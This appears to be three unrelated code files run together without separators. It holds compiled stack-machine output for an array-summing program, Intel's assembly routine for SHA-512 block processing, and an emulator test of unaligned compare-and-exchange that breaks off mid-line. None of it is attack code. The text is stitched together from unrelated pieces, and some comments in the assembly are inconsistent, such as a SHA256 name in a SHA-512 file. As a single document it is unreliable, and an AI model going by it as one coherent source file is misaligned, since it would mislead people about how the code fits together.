{0} ssp 1; {1} mst 0; {2} cup 0 4; {3} stp; { FUNC main } {4} ssp 18; { $suma } {5} lda 0 17; { := } {6} ldc 0; { cte: 0 } {7} sto; { $n } {8} lda 0 16; { := } {9} ldc 10; { cte: 10 } {10} sto; { $cont } {11} lda 0 15; { := } {12} ldc 0; { cte: 0 } {13} sto; { WHILE } { $cont } {14} lda 0 15; {15} ind; { $n } {16} lda 0 16; {17} ind; {18} les; { < } {19} fjp 31; { DO } { $array } {20} lda 0 5; { $cont } {21} lda 0 15; {22} ind; {23} chk 0 10; {24} ixa 1; {[idx]} { := } { $cont } {25} lda 0 15; {26} ind; {27} ldc 1; { cte: 1 } {28} add; { + } {29} sto; {30} ujp 14; { END WHILE } { $cont } {31} lda 0 15; { := } {32} ldc 0; { cte: 0 } {33} sto; { WHILE } { $cont } {34} lda 0 15; {35} ind; { $n } {36} lda 0 16; {37} ind; {38} les; { < } {39} fjp 58; { DO } { $suma } {40} lda 0 17; { := } { $suma } {41} lda 0 17; {42} ind; { $array } {43} lda 0 5; { $cont } {44} lda 0 15; {45} ind; {46} chk 0 10; {47} ixa 1; {[idx]} {48} ind; {49} add; { + } {50} sto; { $cont } {51} lda 0 15; { := } { $cont } {52} lda 0 15; {53} ind; {54} ldc 1; { cte: 1 } {55} add; { + } {56} sto; {57} ujp 34; { END WHILE } {58} ldc 0; { cte: 0 } {59} str 0 0; { RETURN } {60} retf; { END FUNC }
;=============================================================================== ; Copyright 2015-2020 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; Message block processing according to SHA512 ; ; Content: ; UpdateSHA256 ; %include "asmdefs.inc" %include "ia_32e.inc" %include "pcpvariant.inc" %if (_ENABLE_ALG_SHA512_) ;;%if (_IPP32E >= _IPP32E_E9) %if (_IPP32E == _IPP32E_E9 ) %xdefine W0 xmm0 %xdefine W1 xmm1 %xdefine W2 xmm2 %xdefine W3 xmm3 %xdefine W4 xmm4 %xdefine W5 xmm5 %xdefine W6 xmm6 %xdefine W7 xmm7 %xdefine xT0 xmm8 %xdefine xT1 xmm9 %xdefine xT2 xmm10 %xdefine SIGMA xmm11 ;; assign hash values to GPU registers %xdefine A r8 %xdefine B r9 %xdefine C r10 %xdefine D r11 %xdefine E r12 %xdefine F r13 %xdefine G r14 %xdefine H r15 %xdefine T1 rax %xdefine T2 rbx %xdefine T0 rbp %xdefine KK_SHA512 rcx %macro ROTATE_H 0.nolist %xdefine %%_TMP H %xdefine H G %xdefine G F %xdefine F E %xdefine E D %xdefine D C %xdefine C B %xdefine B A %xdefine A %%_TMP %endmacro %macro ROTATE_W 0.nolist %xdefine %%DUMMY W0 %xdefine W0 W1 %xdefine W1 W2 %xdefine W2 W3 %xdefine W3 W4 %xdefine W4 W5 %xdefine W5 W6 %xdefine W6 W7 %xdefine W7 %%DUMMY %endmacro %macro ROR64 2.nolist %xdefine %%r %1 %xdefine %%nbits %2 %if _IPP32E >= _IPP32E_L9 rorx %%r,%%r,%%nbits %elif _IPP32E >= _IPP32E_Y8 shld %%r,%%r,(64-%%nbits) %else ror %%r,%%nbits %endif %endmacro ;; ;; CHJ(x,y,z) = (x & y) ^ (~x & z) ;; ;; CHJ(x,y,z) = (x & y) ^ (~x & z) ;; = (x&y) ^ ((1^x) &z) ;; = (x&y) ^ (z ^ x&z) ;; = x&y ^ z ^ x&z ;; = x&(y^z) ^z ;; ;; => CHJ(E,F,G) = ((F^G) & E) ^G ;; %macro CHJ 4.nolist %xdefine %%F %1 %xdefine %%X %2 %xdefine %%Y %3 %xdefine %%Z %4 mov %%F, %%Y xor %%F, %%Z and %%F, %%X xor %%F, %%Z %endmacro ;; ;; MAJ(x,y,z) = (x & y) ^ (x & z) ^ (y & z) ;; ;; MAJ(x,y,z) = (x&y) ^ (x&z) ^ (y&z) ;; = (x&y) ^ (x&z) ^ (y&z) ^ (z&z) ^z // note: ((z&z) ^z) = 0 ;; = x&(y^z) ^ z&(y^z) ^z ;; = (x^z)&(y^z) ^z ;; ;; => MAJ(A,B,C) = ((A^C) & B) ^ (A&C) ;; %macro MAJ 4.nolist %xdefine %%F %1 %xdefine %%X %2 %xdefine %%Y %3 %xdefine %%Z %4 mov %%F, %%X xor %%F, %%Z ;; maj = x^z xor %%Y, %%Z ;; y ^= z and %%F, %%Y ;; maj = (x^z)&(y^z) xor %%F, %%Z ;; maj = (x^z)&(y^z) ^z xor %%Y, %%Z ;; restore y %endmacro ;; ;; SUM1(x) = ROR64(x,14) ^ ROR64(x,18) ^ ROR64(x,41) ;; ;;=> SUM1(x) = ROR((ROR((ROR(x, 23) ^x), 4) ^x), 14) ;; %macro SUM1 2.nolist %xdefine %%F %1 %xdefine %%X %2 mov %%F, %%X ROR64 %%F, 23 xor %%F, %%X ROR64 %%F, 4 xor %%F, %%X ROR64 %%F, 14 %endmacro ;; ;; SUM0(x) = ROR64(x,28) ^ ROR64(x,34) ^ ROR64(x,39) ;; ;; => SUM0(x) = ROR((ROR((ROR(x, 5) ^x), 6) ^x), 28) ;; %macro SUM0 2.nolist %xdefine %%F %1 %xdefine %%X %2 mov %%F, %%X ROR64 %%F, 5 xor %%F, %%X ROR64 %%F, 6 xor %%F, %%X ROR64 %%F, 28 %endmacro ;; regular SHA512 step ;; ;; Ipp64u T1 = H + SUM1(E) + CHJ(E,F,G) + K_SHA512[t] + W[t]; ;; Ipp64u T2 = SUM0(A) + MAJ(A,B,C); ;; D+= T1; ;; H = T1 + T2; ;; ;; where ;; SUM1(x) = ROR64(x,14) ^ ROR64(x,18) ^ ROR64(x,41) ;; SUM0(x) = ROR64(x,28) ^ ROR64(x,34) ^ ROR64(x,39) ;; ;; CHJ(x,y,z) = (x & y) ^ (~x & z) ;; MAJ(x,y,z) = (x & y) ^ (x & z) ^ (y & z) = (x&y)^((x^y)&z) ;; %macro SHA512_STEP_v0 1.nolist %xdefine %%nr %1 add H, qword [rsp+(%%nr & 1)*sizeof(qword)] SUM1 T0, E CHJ T1, E,F,G add H, T1 add H, T0 add D, H SUM0 T0, A MAJ T1, A,B,C add H, T1 add H, T0 ROTATE_H %endmacro %macro SHA512_2step 9.nolist %xdefine %%nr %1 %xdefine %%A %2 %xdefine %%B %3 %xdefine %%C %4 %xdefine %%D %5 %xdefine %%E %6 %xdefine %%F %7 %xdefine %%G %8 %xdefine %%H %9 mov T0, %%E ;; T0: SUM1(E) ROR64 T0, 23 ;; T0: SUM1(E) add %%H, qword [rsp+(%%nr & 1)*sizeof(qword)] mov T1, %%F ;; T1: CHJ(E,F,G) xor T0, %%E ;; T0: SUM1(E) ROR64 T0, 4 ;; T0: SUM1(E) xor T1, %%G ;; T1: CHJ(E,G,G) and T1, %%E ;; T1: CHJ(E,G,G) xor T0, %%E ;; T0: SUM1(E) ROR64 T0,14 ;; T0: SUM1(E) xor T1, %%G ;; T1: CHJ(E,G,G) add %%H, T1 add %%H, T0 ;; H += SUM1(E) + CHJ(E,F,G) + K_SHA512[t] + W[t] add %%D, %%H mov T0, %%A ;; T0: SUM0(A) ROR64 T0, 5 ;; T0: SUM0(A) mov T1, %%A ;; T1: MAJ(A,B,C) xor T1, %%C ;; T1: MAJ(A,B,C) xor T0, %%A ;; T0: SUM0(A) ROR64 T0, 6 ;; T0: SUM0(A) xor %%B, %%C ;; T1: MAJ(A,B,C) and T1, %%B ;; T1: MAJ(A,B,C) xor T0, %%A ;; T0: SUM0(A) ROR64 T0,28 ;; T0: SUM0(A) xor %%B, %%C ;; T1: MAJ(A,B,C) xor T1, %%C ;; T1: MAJ(A,B,C) add %%H, T0 add %%H, T1 ;ROTATE_H mov T0, %%D ;; T0: SUM1(E) ROR64 T0, 23 ;; T0: SUM1(E) add %%G, qword [rsp+((%%nr+1) & 1)*sizeof(qword)] mov T1, %%E ;; T1: CHJ(E,F,G) xor T0, %%D ;; T0: SUM1(E) ROR64 T0, 4 ;; T0: SUM1(E) xor T1, %%F ;; T1: CHJ(E,G,G) and T1, %%D ;; T1: CHJ(E,G,G) xor T0, %%D ;; T0: SUM1(E) ROR64 T0,14 ;; T0: SUM1(E) xor T1, %%F ;; T1: CHJ(E,G,G) add %%G, T1 add %%G, T0 ;; H += SUM1(E) + CHJ(E,F,G) + K_SHA512[t] + W[t] add %%C, %%G mov T0, %%H ;; T0: SUM0(A) ROR64 T0, 5 ;; T0: SUM0(A) mov T1, %%H ;; T1: MAJ(A,B,C) xor T1, %%B ;; T1: MAJ(A,B,C) xor T0, %%H ;; T0: SUM0(A) ROR64 T0, 6 ;; T0: SUM0(A) xor %%A, %%B ;; T1: MAJ(A,B,C) and T1, %%A ;; T1: MAJ(A,B,C) xor T0, %%H ;; T0: SUM0(A) ROR64 T0,28 ;; T0: SUM0(A) xor %%A, %%B ;; T1: MAJ(A,B,C) xor T1, %%B ;; T1: MAJ(A,B,C) add %%G, T0 add %%G, T1 ;ROTATE_H %endmacro ;; ;; update W[] ;; ;; W[j] = SIG1(W[j- 2]) + W[j- 7] ;; +SIG0(W[j-15]) + W[j-16] ;; ;; SIG0(x) = ROR(x,1) ^ROR(x,8) ^LSR(x,7) ;; SIG1(x) = ROR(x,19)^ROR(x,61) ^LSR(x,6) ;; %macro SHA512_2Wupdate 0.nolist vpalignr xT1, W5, W4, 8 ;; xT1 = W[t-7] vpalignr xT0, W1, W0, 8 ;; xT0 = W[t-15] vpaddq W0, W0, xT1 ;; W0 = W0 + W[t-7] vpsrlq SIGMA, W7, 6 ;; SIG1: W[t-2]>>6 vpsrlq xT1, W7,61 ;; SIG1: W[t-2]>>61 vpsllq xT2, W7,(64-61) ;; SIG1: W[t-2]<<(64-61) vpxor SIGMA, SIGMA, xT1 vpxor SIGMA, SIGMA, xT2 vpsrlq xT1, W7,19 ;; SIG1: W[t-2]>>19 vpsllq xT2, W7,(64-19) ;; SIG1: W[t-2]<<(64-19) vpxor SIGMA, SIGMA, xT1 vpxor SIGMA, SIGMA, xT2 vpaddq W0, W0, SIGMA ;; W0 = W0 + W[t-7] + SIG1(W[t-2]) vpsrlq SIGMA, xT0, 7 ;; SIG0: W[t-15]>>7 vpsrlq xT1, xT0, 1 ;; SIG0: W[t-15]>>1 vpsllq xT2, xT0,(64-1) ;; SIG0: W[t-15]<<(64-1) vpxor SIGMA, SIGMA, xT1 vpxor SIGMA, SIGMA, xT2 vpsrlq xT1, xT0, 8 ;; SIG0: W[t-15]>>8 vpsllq xT2, xT0,(64-8) ;; SIG0: W[t-15]<<(64-8) vpxor SIGMA, SIGMA, xT1 vpxor SIGMA, SIGMA, xT2 vpaddq W0, W0, SIGMA ;; W0 = W0 + W[t-7] + SIG1(W[t-2]) +SIG0(W[t-15]) ROTATE_W %endmacro %macro SHA512_2step_2Wupdate 9.nolist %xdefine %%nr %1 %xdefine %%A %2 %xdefine %%B %3 %xdefine %%C %4 %xdefine %%D %5 %xdefine %%E %6 %xdefine %%F %7 %xdefine %%G %8 %xdefine %%H %9 add %%H, qword [rsp+(%%nr & 1)*sizeof(qword)] vpalignr xT1, W5, W4, 8 ;; xT1 = W[t-7] mov T0, %%E ;; T0: SUM1(E) ROR64 T0, 23 ;; T0: SUM1(E) vpalignr xT0, W1, W0, 8 ;; xT0 = W[t-15] mov T1, %%F ;; T1: CHJ(E,F,G) xor T0, %%E ;; T0: SUM1(E) vpaddq W0, W0, xT1 ;; W0 = W0 + W[t-7] ROR64 T0, 4 ;; T0: SUM1(E) xor T1, %%G ;; T1: CHJ(E,G,G) vpsrlq SIGMA, W7, 6 ;; SIG1: W[t-2]>>6 and T1, %%E ;; T1: CHJ(E,G,G) xor T0, %%E ;; T0: SUM1(E) ROR64 T0,14 ;; T0: SUM1(E) vpsrlq xT1, W7,61 ;; SIG1: W[t-2]>>61 xor T1, %%G ;; T1: CHJ(E,G,G) add %%H, T1 add %%H, T0 ;; H += SUM1(E) + CHJ(E,F,G) + K_SHA512[t] + W[t] vpsllq xT2, W7,(64-61) ;; SIG1: W[t-2]<<(64-61) add %%D, %%H mov T0, %%A ;; T0: SUM0(A) ROR64 T0, 5 ;; T0: SUM0(A) vpxor SIGMA, SIGMA, xT1 mov T1, %%A ;; T1: MAJ(A,B,C) xor T1, %%C ;; T1: MAJ(A,B,C) vpxor SIGMA, SIGMA, xT2 xor T0, %%A ;; T0: SUM0(A) ROR64 T0, 6 ;; T0: SUM0(A) vpsrlq xT1, W7,19 ;; SIG1: W[t-2]>>19 xor %%B, %%C ;; T1: MAJ(A,B,C) and T1, %%B ;; T1: MAJ(A,B,C) xor T0, %%A ;; T0: SUM0(A) vpsllq xT2, W7,(64-19) ;; SIG1: W[t-2]<<(64-19) ROR64 T0,28 ;; T0: SUM0(A) xor %%B, %%C ;; T1: MAJ(A,B,C) xor T1, %%C ;; T1: MAJ(A,B,C) vpxor SIGMA, SIGMA, xT1 add %%H, T0 add %%H, T1 ;ROTATE_H vpxor SIGMA, SIGMA, xT2 mov T0, %%D ;; T0: SUM1(E) ROR64 T0, 23 ;; T0: SUM1(E) vpaddq W0, W0, SIGMA ;; W0 = W0 + W[t-7] + SIG1(W[t-2]) add %%G, qword [rsp+((%%nr+1) & 1)*sizeof(qword)] mov T1, %%E ;; T1: CHJ(E,F,G) vpsrlq SIGMA, xT0, 7 ;; SIG0: W[t-15]>>7 xor T0, %%D ;; T0: SUM1(E) ROR64 T0, 4 ;; T0: SUM1(E) xor T1, %%F ;; T1: CHJ(E,G,G) vpsrlq xT1, xT0, 1 ;; SIG0: W[t-15]>>1 and T1, %%D ;; T1: CHJ(E,G,G) xor T0, %%D ;; T0: SUM1(E) ROR64 T0,14 ;; T0: SUM1(E) vpsllq xT2, xT0,(64-1) ;; SIG0: W[t-15]<<(64-1) xor T1, %%F ;; T1: CHJ(E,G,G) add %%G, T1 add %%G, T0 ;; H += SUM1(E) + CHJ(E,F,G) + K_SHA512[t] + W[t] vpxor SIGMA, SIGMA, xT1 add %%C, %%G mov T0, %%H ;; T0: SUM0(A) vpxor SIGMA, SIGMA, xT2 ROR64 T0, 5 ;; T0: SUM0(A) mov T1, %%H ;; T1: MAJ(A,B,C) vpsrlq xT1, xT0, 8 ;; SIG0: W[t-15]>>8 xor T1, %%B ;; T1: MAJ(A,B,C) xor T0, %%H ;; T0: SUM0(A) ROR64 T0, 6 ;; T0: SUM0(A) vpsllq xT2, xT0,(64-8) ;; SIG0: W[t-15]<<(64-8) xor %%A, %%B ;; T1: MAJ(A,B,C) and T1, %%A ;; T1: MAJ(A,B,C) xor T0, %%H ;; T0: SUM0(A) vpxor SIGMA, SIGMA, xT1 ROR64 T0,28 ;; T0: SUM0(A) xor %%A, %%B ;; T1: MAJ(A,B,C) vpxor SIGMA, SIGMA, xT2 xor T1, %%B ;; T1: MAJ(A,B,C) add %%G, T0 vpaddq W0, W0, SIGMA ;; W0 = W0 + W[t-7] + SIG1(W[t-2]) +SIG0(W[t-15]) add %%G, T1 ;ROTATE_H ROTATE_W %endmacro segment .text align=IPP_ALIGN_FACTOR align IPP_ALIGN_FACTOR SHUFB_BSWAP DB 7,6,5,4,3,2,1,0, 15,14,13,12,11,10,9,8 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; UpdateSHA512(Ipp64u digest[], Ipp8u dataBlock[], int datalen, Ipp64u K_512[]) ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; align IPP_ALIGN_FACTOR IPPASM UpdateSHA512,PUBLIC %assign LOCAL_FRAME sizeof(oword)+sizeof(qword) USES_GPR rbx,rsi,rdi,rbp,r12,r13,r14,r15 USES_XMM xmm6,xmm7,xmm8,xmm9,xmm10,xmm11 COMP_ABI 4 ;; ;; rdi = pointer to the updated hash ;; rsi = pointer to the data block ;; rdx = data block length ;; rcx = pointer to the SHA_512 constant ;; %xdefine MBS_SHA512 (128) vmovdqa xT1, oword [rel SHUFB_BSWAP] movsxd rdx, edx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; process next data block ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; align IPP_ALIGN_FACTOR .sha512_block_loop: ;; ;; initialize the first 16 qwords in the array W (remember about endian) ;; vmovdqu W0, oword [rsi] ; load buffer content and swap vpshufb W0, W0, xT1 vmovdqu W1, oword [rsi+sizeof(oword)*1]; vpshufb W1, W1, xT1 vmovdqu W2, oword [rsi+sizeof(oword)*2]; vpshufb W2, W2, xT1 vmovdqu W3, oword [rsi+sizeof(oword)*3]; vpshufb W3, W3, xT1 vmovdqu W4, oword [rsi+sizeof(oword)*4]; vpshufb W4, W4, xT1 vmovdqu W5, oword [rsi+sizeof(oword)*5]; vpshufb W5, W5, xT1 vmovdqu W6, oword [rsi+sizeof(oword)*6]; vpshufb W6, W6, xT1 vmovdqu W7, oword [rsi+sizeof(oword)*7]; vpshufb W7, W7, xT1 mov A, qword [rdi] ; load initial hash value mov B, qword [rdi+sizeof(qword)] mov C, qword [rdi+sizeof(qword)*2] mov D, qword [rdi+sizeof(qword)*3] mov E, qword [rdi+sizeof(qword)*4] mov F, qword [rdi+sizeof(qword)*5] mov G, qword [rdi+sizeof(qword)*6] mov H, qword [rdi+sizeof(qword)*7] ;; perform 0- 9 rounds vpaddq xT1, W0, oword [KK_SHA512+ 0*sizeof(qword)] ; T += K_SHA512[0-1] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 0, A,B,C,D,E,F,G,H vpaddq xT1, W0, oword [KK_SHA512+ 2*sizeof(qword)] ; T += K_SHA512[2-3] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 2, G,H,A,B,C,D,E,F vpaddq xT1, W0, oword [KK_SHA512+ 4*sizeof(qword)] ; T += K_SHA512[4-5] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 4, E,F,G,H,A,B,C,D vpaddq xT1, W0, oword [KK_SHA512+ 6*sizeof(qword)] ; T += K_SHA512[6-7] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 6, C,D,E,F,G,H,A,B vpaddq xT1, W0, oword [KK_SHA512+ 8*sizeof(qword)] ; T += K_SHA512[8-9] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 8, A,B,C,D,E,F,G,H ;; perform 10-19 rounds vpaddq xT1, W0, oword [KK_SHA512+10*sizeof(qword)] ; T += K_SHA512[10-11] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 10, G,H,A,B,C,D,E,F vpaddq xT1, W0, oword [KK_SHA512+12*sizeof(qword)] ; T += K_SHA512[12-13] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 12, E,F,G,H,A,B,C,D vpaddq xT1, W0, oword [KK_SHA512+14*sizeof(qword)] ; T += K_SHA512[14-15] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 14, C,D,E,F,G,H,A,B vpaddq xT1, W0, oword [KK_SHA512+16*sizeof(qword)] ; T += K_SHA512[16-17] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 16, A,B,C,D,E,F,G,H vpaddq xT1, W0, oword [KK_SHA512+18*sizeof(qword)] ; T += K_SHA512[18-19] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 18, G,H,A,B,C,D,E,F ;; perform 20-29 rounds vpaddq xT1, W0, oword [KK_SHA512+20*sizeof(qword)] ; T += K_SHA512[20-21] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 20, E,F,G,H,A,B,C,D vpaddq xT1, W0, oword [KK_SHA512+22*sizeof(qword)] ; T += K_SHA512[22-23] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 22, C,D,E,F,G,H,A,B vpaddq xT1, W0, oword [KK_SHA512+24*sizeof(qword)] ; T += K_SHA512[24-25] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 24, A,B,C,D,E,F,G,H vpaddq xT1, W0, oword [KK_SHA512+26*sizeof(qword)] ; T += K_SHA512[26-27] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 26, G,H,A,B,C,D,E,F vpaddq xT1, W0, oword [KK_SHA512+28*sizeof(qword)] ; T += K_SHA512[28-29] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 28, E,F,G,H,A,B,C,D ;; perform 30-39 rounds vpaddq xT1, W0, oword [KK_SHA512+30*sizeof(qword)] ; T += K_SHA512[30-31] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 30, C,D,E,F,G,H,A,B vpaddq xT1, W0, oword [KK_SHA512+32*sizeof(qword)] ; T += K_SHA512[32-33] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 32, A,B,C,D,E,F,G,H vpaddq xT1, W0, oword [KK_SHA512+34*sizeof(qword)] ; T += K_SHA512[34-35] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 34, G,H,A,B,C,D,E,F vpaddq xT1, W0, oword [KK_SHA512+36*sizeof(qword)] ; T += K_SHA512[36-37] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 36, E,F,G,H,A,B,C,D vpaddq xT1, W0, oword [KK_SHA512+38*sizeof(qword)] ; T += K_SHA512[38-39] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 38, C,D,E,F,G,H,A,B ;; perform 40-49 rounds vpaddq xT1, W0, oword [KK_SHA512+40*sizeof(qword)] ; T += K_SHA512[40-41] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 40, A,B,C,D,E,F,G,H vpaddq xT1, W0, oword [KK_SHA512+42*sizeof(qword)] ; T += K_SHA512[42-43] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 42, G,H,A,B,C,D,E,F vpaddq xT1, W0, oword [KK_SHA512+44*sizeof(qword)] ; T += K_SHA512[44-45] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 44, E,F,G,H,A,B,C,D vpaddq xT1, W0, oword [KK_SHA512+46*sizeof(qword)] ; T += K_SHA512[46-47] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 46, C,D,E,F,G,H,A,B vpaddq xT1, W0, oword [KK_SHA512+48*sizeof(qword)] ; T += K_SHA512[48-49] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 48, A,B,C,D,E,F,G,H ;; perform 50-59 rounds vpaddq xT1, W0, oword [KK_SHA512+50*sizeof(qword)] ; T += K_SHA512[50-51] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 50, G,H,A,B,C,D,E,F vpaddq xT1, W0, oword [KK_SHA512+52*sizeof(qword)] ; T += K_SHA512[52-53] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 52, E,F,G,H,A,B,C,D vpaddq xT1, W0, oword [KK_SHA512+54*sizeof(qword)] ; T += K_SHA512[54-55] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 54, C,D,E,F,G,H,A,B vpaddq xT1, W0, oword [KK_SHA512+56*sizeof(qword)] ; T += K_SHA512[56-57] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 56, A,B,C,D,E,F,G,H vpaddq xT1, W0, oword [KK_SHA512+58*sizeof(qword)] ; T += K_SHA512[58-59] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 58, G,H,A,B,C,D,E,F ;; perform 60-69 rounds vpaddq xT1, W0, oword [KK_SHA512+60*sizeof(qword)] ; T += K_SHA512[60-61] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 60, E,F,G,H,A,B,C,D vpaddq xT1, W0, oword [KK_SHA512+62*sizeof(qword)] ; T += K_SHA512[62-63] vmovdqa oword [rsp], xT1 SHA512_2step_2Wupdate 62, C,D,E,F,G,H,A,B vpaddq xT1, W0, oword [KK_SHA512+64*sizeof(qword)] ; T += K_SHA512[64-65] vmovdqa oword [rsp], xT1 SHA512_2step 64, A,B,C,D,E,F,G,H ROTATE_W vpaddq xT1, W0, oword [KK_SHA512+66*sizeof(qword)] ; T += K_SHA512[66-67] vmovdqa oword [rsp], xT1 SHA512_2step 66, G,H,A,B,C,D,E,F ROTATE_W vpaddq xT1, W0, oword [KK_SHA512+68*sizeof(qword)] ; T += K_SHA512[68-69] vmovdqa oword [rsp], xT1 SHA512_2step 68, E,F,G,H,A,B,C,D ROTATE_W ;; perform 70-79 rounds vpaddq xT1, W0, oword [KK_SHA512+70*sizeof(qword)] ; T += K_SHA512[70-71] vmovdqa oword [rsp], xT1 SHA512_2step 70, C,D,E,F,G,H,A,B ROTATE_W vpaddq xT1, W0, oword [KK_SHA512+72*sizeof(qword)] ; T += K_SHA512[72-73] vmovdqa oword [rsp], xT1 SHA512_2step 72, A,B,C,D,E,F,G,H ROTATE_W vpaddq xT1, W0, oword [KK_SHA512+74*sizeof(qword)] ; T += K_SHA512[74-75] vmovdqa oword [rsp], xT1 SHA512_2step 74, G,H,A,B,C,D,E,F ROTATE_W vpaddq xT1, W0, oword [KK_SHA512+76*sizeof(qword)] ; T += K_SHA512[76-77] vmovdqa oword [rsp], xT1 SHA512_2step 76, E,F,G,H,A,B,C,D ROTATE_W vpaddq xT1, W0, oword [KK_SHA512+78*sizeof(qword)] ; T += K_SHA512[78-79] vmovdqa oword [rsp], xT1 SHA512_2step 78, C,D,E,F,G,H,A,B ROTATE_W add qword [rdi], A ; update shash add qword [rdi+sizeof(qword)*1], B add qword [rdi+sizeof(qword)*2], C add qword [rdi+sizeof(qword)*3], D add qword [rdi+sizeof(qword)*4], E add qword [rdi+sizeof(qword)*5], F add qword [rdi+sizeof(qword)*6], G add qword [rdi+sizeof(qword)*7], H vmovdqa xT1, oword [rel SHUFB_BSWAP] add rsi, MBS_SHA512 sub rdx, MBS_SHA512 jg .sha512_block_loop REST_XMM REST_GPR ret ENDFUNC UpdateSHA512 %endif ;; (_IPP32E >= _IPP32E_E9 ) %endif ;; _ENABLE_ALG_SHA512_
%ifdef CONFIG { "RegData": { "RAX": "0x4142434445464748", "RBX": "0x5152535455FFFF58", "RCX": "0x616263FFFF666768", "RDX": "0xFF72737475767778", "RBP": "0x81828384858687FF", "RSI": "0xB1B2B3B4B5B6B7B8", "RDI": "0xC1C2C3C4C5C6C7C8", "RSP": "0xFF42434445464748", "R8": "0x51525354555657FF", "R9": "0x6465646556574647", "R11": "0x0000000000005841", "R12": "0xC8B1A89188718871" } } %endif mov r10, 0xe0000000 mov rax, 0x4142434445464748 mov [r10 + 8 * 0], rax mov rax, 0x5152535455565758 mov [r10 + 8 * 1], rax mov rax, 0x6162636465666768 mov [r10 + 8 * 2], rax mov rax, 0x7172737475767778 mov [r10 + 8 * 3], rax mov rax, 0x8182838485868788 mov [r10 + 8 * 4], rax mov rax, 0x9192939495969798 mov [r10 + 8 * 5], rax mov rax, 0xA1A2A3A4A5A6A7A8 mov [r10 + 8 * 6], rax mov rax, 0xB1B2B3B4B5B6B7B8 mov [r10 + 8 * 7], rax mov rax, 0xC1C2C3C4C5C6C7C8 mov [r10 + 8 * 8], rax mov rax, 0 mov [r10 + 8 * 9], rax mov [r10 + 8 * 10], rax mov [r10 + 8 * 11], rax mov [r10 + 8 * 12], rax mov [r10 + 8 * 13], rax mov rax, 0x4142434445464748 mov [r10 + 8 * 15], rax mov rax, 0x5152535455565758 mov [r10 + 8 * 16], rax ; 16bit unaligned edges test ; Offsets | Test | ; ============================================================= ; 1 | Misaligned inside 32bit region | 32bit CAS ; 3 | Misaligned through to 64bit region | 64bit CAS ; 7 | Misaligned through to 128bit region | 128bit CAS ; 15 | Misaligned through to 256bit region | Dual 8bit/64bit CAS *CAN TEAR* ; 63 | Misaligned across 64byte cachelines | Dual 8bit/64bit CAS *CAN TEAR* ; Offset 1 ; False mov rax, 0 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 0 + 1], cx mov [r10 + 8 * 9 + 0], ax ; True mov rax, 0x5657 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 1 + 1], cx mov [r10 + 8 * 9 + 2], ax ; Offset 3 ; False mov rax, 0 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 2 + 3], cx mov [r10 + 8 * 9 + 4], ax ; True mov rax, 0x6465 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 2 + 3], cx mov [r10 + 8 * 9 + 6], ax ; Offset 7 ; False mov rax, 0 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 3 + 7], cx mov [r10 + 8 * 10 + 0], ax ; True mov rax, 0x8871 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 3 + 7], cx mov [r10 + 8 * 10 + 2], ax ; Offset 15 ; False mov rax, 0 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 4 + 15], cx mov [r10 + 8 * 10 + 4], ax ; True mov rax, 0x8871 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 4 + 15], cx mov [r10 + 8 * 10 + 6], ax ; Offset 63 ; False mov rax, 0 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 7 + 7], cx mov [r10 + 8 * 10 + 6], ax ; True mov rax, 0x5841 mov rcx, 0xFFFF cmpxchg [r10 + 8 * 15 + 7], cx mov [r10 + 8 * 11 + 0], ax mov rax, [r10 + 8 * 0] mov rbx, [r10 + 8 * 